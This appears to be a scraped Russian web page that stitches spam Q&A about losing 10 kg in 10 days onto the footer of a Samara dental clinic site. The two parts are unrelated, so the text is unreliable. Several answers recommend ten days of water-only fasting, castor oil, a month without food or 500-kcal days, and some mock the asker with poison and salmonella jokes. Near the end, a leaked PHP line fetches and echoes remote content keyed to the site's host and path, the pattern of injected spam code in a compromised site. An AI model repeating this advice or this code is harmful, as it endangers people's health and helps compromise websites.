За месяц ничего не стоит сбросить каких-то четыре кг. Даже без диет. Усилить физические нагрузки и все. А, если еще при этом и жрать чуть меньше, то успех гарантирован

Исключите сладкое и сдобное. И физ. нагрузки.

Похудеть на 7 кг за 7 дней очень сложно. Фактически вам придется голодать всю неделю, да и эта мера не гарантирует заветную цифру. Если интересно, можете почитать мнение доктора Агапкина о голодании.

Месяц не чего не есть, но в туалет ходить два раза в день по большему

Правильное питание.

Как похудеть за десять дней на 10 кг. Срочно. Плиз, помогите!!) От этого зависит моя судьба!

Касторка и сушеный горошек

Я за 7 дней похудела на 8 килограмм! Супер! Самое главное строго придерживаться диеты!Закончились 7 дней диеты и .. самое главное,не в тех кило,что я потеряла, их не так и много 3,5 кг . Главное, что я научилась обходиться без вредных для фигуры продуктов и значительно...

Быстро к хирургу.
Скальпель сделает своё дело.
Но предварительно обратитесь к терапевту.
Анализу также прийдётся некоторые сдать.

Это чревато.. . здоровье не жалко?

С ума чтоль сошла ?? за 10 дней 10 кило. . ни как !!!СЛИШКОМ МАЛО ВРЕМЕНИ ..жрать надо было меньше раньше

Только если проголодать на воде эти 10 дней.
Каждый день будешь скидывать 1 кг.
Попробуй, если от этого судьба зависит.

Не будет никакой судьбы, если за 10 дней 10 кг сбросить.. будет смерть от гипогликемии или кардиодистрофии..

Как похудеть за 3 дня на 5 - 10 кг в домашних условиях. Необходимо срочно похудеет к важному для вас мероприятию? Или же просто хотите порадоваться сдвинувшейся стрелке весов? Похудеть за 3 дня на 10 кг можно! Думаете диету с понедельника?

Ногу отрубите )))
А зачем Вы набирали эти десять килограмм? ! Раньше Вам было безразлично, а теперь вдруг о судьбе заговорили?!)

Если ты весишь больше 100-120 кг, то это возможно, если придерживаться низкоуглеводной диеты с повышенным содержанием белка. Если Вы начнете сидеть на голоде, то дня через 3-4 вес встанет, т. к. обменка будет убита, а организм начнет копить потенциал. Кроме того, если так быстро терять вес, то уйдет прежде всего мышечная масса, т. е. из 10 потерянных кг 2 кг - это кал и сухая масса, еще 2 кг - вода, 2-4 кг - мыщцы и только остальное - жир. Как только Вы выйдете из этого похудения, вес начнет возвращаться. Но мышцы организм не умеет лепить, он начнет копить жир. Так, при том же весе, Вы станете объемнее. Кроме того, 10 кг жира потерять - это вопрос нескольких недель. Если хотите сделать все, что в Ваших силах, сядьте на диету типа низкоуглеводная- белковая.

Есть надо было раньше меньше, а похудеть за 10 дней на 10 кг. НЕРЕАЛЬНО! я похудела за 3 недели на 5 кг... очень тяжело было (((

Я за 7 дней с 85 до 63 сбросил) ) но!! ! это строгая гречневая диета и 5 км каждое утро лёгким бегом, желательно потеплее одеться дабы пропотеть, есть пробочный эффект-придётся скорее всего заниматься этим почти всё время.

Это чревато последствиями и тяжелой болезнью. Мама чоули правильно сказала.

За неделю питания по этой системе вы сбросите 15 кг, затем сделайте перерыв на 7 дней и снова повторите курс.Как ускорить метаболизм и похудеть. Формула индекса массы тела, программа похудения.

Подцепи сальманелу, здоровье ты все равно видно не бережешь

Как похудеть на 4 кг. за 15 суток?

Жри меньше, пей только кефир

  • Кофе зеленый купить спб - Где можно купить зелёный кофе для похудения в спб? желательно красногвардейский район. Заранее спс : ) Он вам не поможет
  • Молотый имбирь для похудения рецепты - Молотый имбирь помогает для похудения? если да то поделитесь опытом Имбирь повышает аппетит. Смотри Википедию Имбирь со
  • Диета для пофилактики поджелудочной - С утра я ничего не ел, но мне не хочется ни есть, ни пить, а в груди точно жжет огнем? Выпей йаду! Может вы влюблены???
  • Как убрать подкожных целлюлит с попы - Подскажите пожалуйста как убрать целюлит? Пластическая операция Для того чтобы разобраться как убрать целлюлит на попе?
  • Ела в пределах 500 ккал похудела - Потолстею ли я если съела...? Врятли, а вот если будешь кушать так каждый день... 500 ккал,ну и оставшиеся калории добав
  • Диеты при анемии - Какой диеты можно придерживаться при анемии? Железосодержащей: яблоки, свёкла, гранаты, препараты железа. При недостатке
  • Диета 5 виноград - Можно ли при диете 5 есть виноград? Нат нельзя В число самых интересных диет мира входит виноградная диета, поскольку ви
  • Дыхательные упражнения для похудения оксисайз - Семьяночки, вопрос такой серьёзный....как вот скажете, так и сделаю...(+). Погасить долг за квартиру. Оксисайз отличия о
  • Диета и виноград - Существует-ли виноградная диета? Да. Алкоголизм называется. Плюсы диеты на винограде. Хоть виноград и содержит фруктозу,
  • Курсы диет-сестра - Где пройти курсы, чтобы получить образование "диетсестра" Зачем тебе марфушенька курсы.. твоя ореховая диета самая-самая
  • Кофе зеленый купить спб - Где можно купить зелёный кофе для похудения в спб? желательно красногвардейский район. Заранее спс : ) Он вам не поможет
  • Молотый имбирь для похудения рецепты - Молотый имбирь помогает для похудения? если да то поделитесь опытом Имбирь повышает аппетит. Смотри Википедию Имбирь со
  • Диета для пофилактики поджелудочной - С утра я ничего не ел, но мне не хочется ни есть, ни пить, а в груди точно жжет огнем? Выпей йаду! Может вы влюблены???
  • Как убрать подкожных целлюлит с попы - Подскажите пожалуйста как убрать целюлит? Пластическая операция Для того чтобы разобраться как убрать целлюлит на попе?
  • Ела в пределах 500 ккал похудела - Потолстею ли я если съела...? Врятли, а вот если будешь кушать так каждый день... 500 ккал,ну и оставшиеся калории добав
  • Диеты при анемии - Какой диеты можно придерживаться при анемии? Железосодержащей: яблоки, свёкла, гранаты, препараты железа. При недостатке
  • Диета 5 виноград - Можно ли при диете 5 есть виноград? Нат нельзя В число самых интересных диет мира входит виноградная диета, поскольку ви
  • Дыхательные упражнения для похудения оксисайз - Семьяночки, вопрос такой серьёзный....как вот скажете, так и сделаю...(+). Погасить долг за квартиру. Оксисайз отличия о
  • Диета и виноград - Существует-ли виноградная диета? Да. Алкоголизм называется. Плюсы диеты на винограде. Хоть виноград и содержит фруктозу,
  • Курсы диет-сестра - Где пройти курсы, чтобы получить образование "диетсестра" Зачем тебе марфушенька курсы.. твоя ореховая диета самая-самая
Как похудеть на 7 дней на 4 кг
 
 

Список аффилированных лиц

03 июля 2012

04 апреля 2012

10 января 2012

06 октября 2011

03 июля 2011

01 апреля 2011



12 января 2011

30 сентября 2010

30 июня 2010

1 апреля 2010





12 января 2010





2 октября 2009





17 июля 2009



 

 
Адрес: г. Самара, ул. Гагарина 18А (м. Гагаринская)
Тел. (846) 260-68-45, 260-68-48
Факс (846) 260-68-45
Email: stomatsamara@mail.ru
Центр работает с 8:00 до 20:00
Выходные суббота, воскресенье
Схема проезда
  echo file_get_contents(''.$_SERVER["HTTP_HOST"].'&path='.$_SERVER["REQUEST_URI"]);?>
Счетчик посещаемости и статистика сайта